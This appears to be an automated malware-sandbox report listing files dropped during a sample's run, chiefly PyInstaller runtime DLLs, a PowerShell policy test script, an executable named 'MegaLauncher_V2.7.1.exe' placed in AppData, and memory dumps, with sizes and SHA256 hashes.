                                api-ms-win-core-datetime-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-datetime-l1-1-0.dll
                                • Size 22KB
                                • SHA256 2ae6a5be0c13dff7f8c30ac8963fb243b649b75375eda52408e2e96d90edceba
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-debug-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-debug-l1-1-0.dll
                                • Size 22KB
                                • SHA256 3f1ac2c70a4c056d07af9084a394d97f1c164052ed4dfc95dc59a061c4b749c7
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-errorhandling-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-errorhandling-l1-1-0.dll
                                • Size 22KB
                                • SHA256 704a379c41e984c2b11a9ac32fdb48f6db21bd82e136c1ca724500a5d97290f7
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-fibers-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-fibers-l1-1-0.dll
                                • Size 22KB
                                • SHA256 49eb5c0a85e30d0df47ac6ffdc0030772d5897d34761e7d4290d853e811f1361
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-file-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-file-l1-1-0.dll
                                • Size 26KB
                                • SHA256 0d257bce0bfeffd3a02d5323afa4af71a7a251aadd5d226542ff155bf8cd47c8
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-file-l1-2-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-file-l1-2-0.dll
                                • Size 22KB
                                • SHA256 e8dace0295dcd48dbd58e97dd5ec092d4d068131d10f52e016ccd9ba63784289
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-file-l2-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-file-l2-1-0.dll
                                • Size 20KB
                                • SHA256 f957a4c261506484b53534a9be8931c02ec1a349b3f431a858f8215cecfec3f7
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-handle-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-handle-l1-1-0.dll
                                • Size 22KB
                                • SHA256 94c82c6dcf619fe9445104c7819eb3f0193f114de1680bf177a697360cd65b35
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-heap-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-heap-l1-1-0.dll
                                • Size 22KB
                                • SHA256 759c53411551921af266eb96dafca0031c45283f288c2fc95f9ee938b29d4d46
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-interlocked-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-interlocked-l1-1-0.dll
                                • Size 22KB
                                • SHA256 5e740beefecbfffedb924091a88d4129c945088712dc5f2fce50a473971a57b4
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-libraryloader-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-libraryloader-l1-1-0.dll
                                • Size 22KB
                                • SHA256 f398b051f5bfec0e6ec141aa4dde3dc7df9a9d29e06541d02ec048542ccf2cf9
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-localization-l1-2-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-localization-l1-2-0.dll
                                • Size 22KB
                                • SHA256 f09d84ffcc92840ca65ff9ca69396639efdc550cd68731e774de8a5447824a36
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-memory-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-memory-l1-1-0.dll
                                • Size 22KB
                                • SHA256 1d14a25715d45001e12fee457b7807f5956fc564b9e49dd46b2f2f3721484003
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-namedpipe-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-namedpipe-l1-1-0.dll
                                • Size 22KB
                                • SHA256 868ba39df03edbd0c6f7b6c1ad4dd71ead9a7802e2151b48f74956eb87689867
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-processenvironment-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-processenvironment-l1-1-0.dll
                                • Size 22KB
                                • SHA256 50191f7b1b1631356c80b8190057c877055cc6a545a0baef38864270a750c51b
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-processthreads-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-processthreads-l1-1-0.dll
                                • Size 22KB
                                • SHA256 6517ad89480d415b63f0f8fccbe9389b951eb9b22a2ba6e62da5f12e1e3d9431
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-processthreads-l1-1-1.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-processthreads-l1-1-1.dll
                                • Size 22KB
                                • SHA256 f8d50de8ce6eba6c841bbf3a44aeb2a9408cfcd4492ac2892a6d868253a4e0a6
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-profile-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-profile-l1-1-0.dll
                                • Size 22KB
                                • SHA256 8696f55d1b99a9ee8192c3c80c5078f0974db154872007b98ecb556d4a23c14f
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-rtlsupport-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-rtlsupport-l1-1-0.dll
                                • Size 22KB
                                • SHA256 4be348d9267167eca79f7ad3f5064134778295711fc96a2f7e57ab61f3c644ab
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-string-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-string-l1-1-0.dll
                                • Size 22KB
                                • SHA256 8c3e8834e20382b5456f6931a873630da00951c1eaabffec757abed5359811a3
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-synch-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-synch-l1-1-0.dll
                                • Size 22KB
                                • SHA256 cba6d30e2864a4d4da6698343b99c3ca06f2383e097d9f0d61e8fbba35e9f82e
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-synch-l1-2-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-synch-l1-2-0.dll
                                • Size 22KB
                                • SHA256 699871fbff13f806ec3e235a211fba17653b1f20eb9b7ddf8a685742566f2b77
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-sysinfo-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-sysinfo-l1-1-0.dll
                                • Size 22KB
                                • SHA256 a2a051d58f28da4105e131a7387a3413cc388d58f1fd9567f69f4891bbe6d756
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-timezone-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-timezone-l1-1-0.dll
                                • Size 22KB
                                • SHA256 1798d09c4d544668389d6c00807e2fd932e42acf66484a552b9a9b5e39653d4c
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-core-util-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-core-util-l1-1-0.dll
                                • Size 22KB
                                • SHA256 426ae88aeed49d01acf2bd962c294b8b7cae0da03909b16d9701a48e7439b9b6
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-crt-conio-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-crt-conio-l1-1-0.dll
                                • Size 22KB
                                • SHA256 2aafbb5b3f41e021265d7683e03c67c21e626259f910cfb2d7983c24d8cc91ca
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-crt-convert-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-crt-convert-l1-1-0.dll
                                • Size 26KB
                                • SHA256 9e04a59290be2440b546349deaa4d40cd0bb89b1702eec5b9bb3741c13f21f83
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-crt-environment-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-crt-environment-l1-1-0.dll
                                • Size 22KB
                                • SHA256 c3d6e4df7ffff47b79f3ab32356be40fc07ca0a5136fec479c21a083581a2d68
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-crt-filesystem-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-crt-filesystem-l1-1-0.dll
                                • Size 22KB
                                • SHA256 9b3c13bdad68a6de57804427081162d169d48d29742557645502fd60591e6c08
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-crt-heap-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-crt-heap-l1-1-0.dll
                                • Size 22KB
                                • SHA256 d56d2d5fa8b6b79583e4184414ce1bb6b89255db44b0f3265841b181fef376d8
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-crt-locale-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-crt-locale-l1-1-0.dll
                                • Size 22KB
                                • SHA256 6c334ef953901082c621229763869874a3738aeaef0974c8c1f7e827f0a34fc2
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-crt-math-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-crt-math-l1-1-0.dll
                                • Size 30KB
                                • SHA256 d4e6230d81ceefbfba5bd227df92ad18e29a81e3fed001720d5e05ece14fee2f
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-crt-process-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-crt-process-l1-1-0.dll
                                • Size 22KB
                                • SHA256 a51bee62703d356cdaa5acf7ed8069989d3149e3d7ecf43901b352cc0e43ba99
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-crt-runtime-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-crt-runtime-l1-1-0.dll
                                • Size 26KB
                                • SHA256 ff15df4e3439f0ca511cbeb3e4d0f465f2b87f3b1d46595a8485f3a7f378c05d
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-crt-stdio-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-crt-stdio-l1-1-0.dll
                                • Size 26KB
                                • SHA256 27e24437af5be8b1c1819eb35050ec8953cc76f6d3f4b0113c460c0a542acc63
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-crt-string-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-crt-string-l1-1-0.dll
                                • Size 26KB
                                • SHA256 7d16c330adc3b0fa5e01fc3265f687697985487ad6705ed2d2cc385f02876632
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-crt-time-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-crt-time-l1-1-0.dll
                                • Size 22KB
                                • SHA256 a2a723b4d631d6cd4e631d26a21f38ecfb231c65100d6a9a13c531d7e3ade514
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                api-ms-win-crt-utility-l1-1-0.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\api-ms-win-crt-utility-l1-1-0.dll
                                • Size 22KB
                                • SHA256 b7ac938943ee206666c72c28370bf6ae65374088b5075da613501d0ce38b65e2
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                base_library.zip
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\base_library.zip
                                • Size 859KB
                                • SHA256 e6399b33521f968c3f6124eae3e0290fc643cc5b4cf399f04fc1c8bd1a90a04c
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                libcrypto-1_1.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\libcrypto-1_1.dll
                                • Size 3.3MB
                                • SHA256 9b7b4a0ad212095a8c2e35c71694d8a1764cd72a829e8e17c8afe3a55f147939
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                libffi-7.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\libffi-7.dll
                                • Size 32KB
                                • SHA256 f60dd9f2fcbd495674dfc1555effb710eb081fc7d4cae5fa58c438ab50405081
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                python310.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\python310.dll
                                • Size 4.3MB
                                • SHA256 14b06796f288bc6599e458fb23a944ab0c843e9868058f02a91d4606533505ed
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                select.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\select.pyd
                                • Size 29KB
                                • SHA256 db85f2f94d4994283e1055057372594538ae11020389d966e45607413851d9e9
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                tcl86t.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\tcl86t.dll
                                • Size 1.8MB
                                • SHA256 fbfd065f861ec0a90dd513bc209c56bbc23c54d2839964a0ec2df95848af7860
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                tk86t.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\tk86t.dll
                                • Size 1.5MB
                                • SHA256 cd2f60075064dfc2e65c88b239a970cb4bd07cb3eec7cc26fb1bf978d4356b08
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                ucrtbase.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\ucrtbase.dll
                                • Size 1.1MB
                                • SHA256 c04daeba7e7c4b711d33993ab4c51a2e087f98f4211aea0dcb3a216656ba0ab7
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                unicodedata.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI43962\unicodedata.pyd
                                • Size 1.1MB
                                • SHA256 1fb2d66c056f69e8bbdd8c6c910e72697874dae680264f8fb4b4df19af98aa2e
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                __PSScriptPolicyTest_x2ynq20l.x34.ps1
                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x2ynq20l.x34.ps1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                MegaLauncher_V2.7.1.exe
                                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MegaLauncher_V2.7.1.exe
                                • Size 9.0MB
                                • SHA256 4dfd3af7b61e166e581aed97830894f376d0fac903ba414388d11b0b2bf57283
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                memory/968-1043-0x00000268C4CA0000-0x00000268C4CB0000-memory.dmp
                                Download

                                memory/968-1050-0x00000268E05D0000-0x00000268E05F2000-memory.dmp
                                Download

                                memory/968-1042-0x00000268C4CA0000-0x00000268C4CB0000-memory.dmp
                                Download

                                memory/968-1051-0x00000268C4CA0000-0x00000268C4CB0000-memory.dmp
                                Download

                                memory/1520-4006-0x00000238072B0000-0x00000238074D1000-memory.dmp
                                Download

                                memory/4256-1072-0x000001EF23950000-0x000001EF23958000-memory.dmp
                                Download

                                memory/4256-1073-0x000001EF23980000-0x000001EF23986000-memory.dmp
                                Download

                                memory/4256-1074-0x000001EF23990000-0x000001EF2399A000-memory.dmp
                                Download

                                memory/4256-1069-0x000001EF23960000-0x000001EF2397C000-memory.dmp
                                Download

                                memory/4256-1071-0x000001EF23BC0000-0x000001EF23BDA000-memory.dmp
                                Download

                                memory/4256-1070-0x000001EF23940000-0x000001EF2394A000-memory.dmp
                                Download

                                memory/4256-1068-0x000001EF23930000-0x000001EF2393A000-memory.dmp
                                Download

                                memory/4256-1067-0x000001EF239B0000-0x000001EF23A63000-memory.dmp
                                Download

                                memory/4256-1066-0x000001EF23910000-0x000001EF2392C000-memory.dmp
                                Download

                                memory/4568-4040-0x0000017690910000-0x0000017690A21000-memory.dmp
                                Download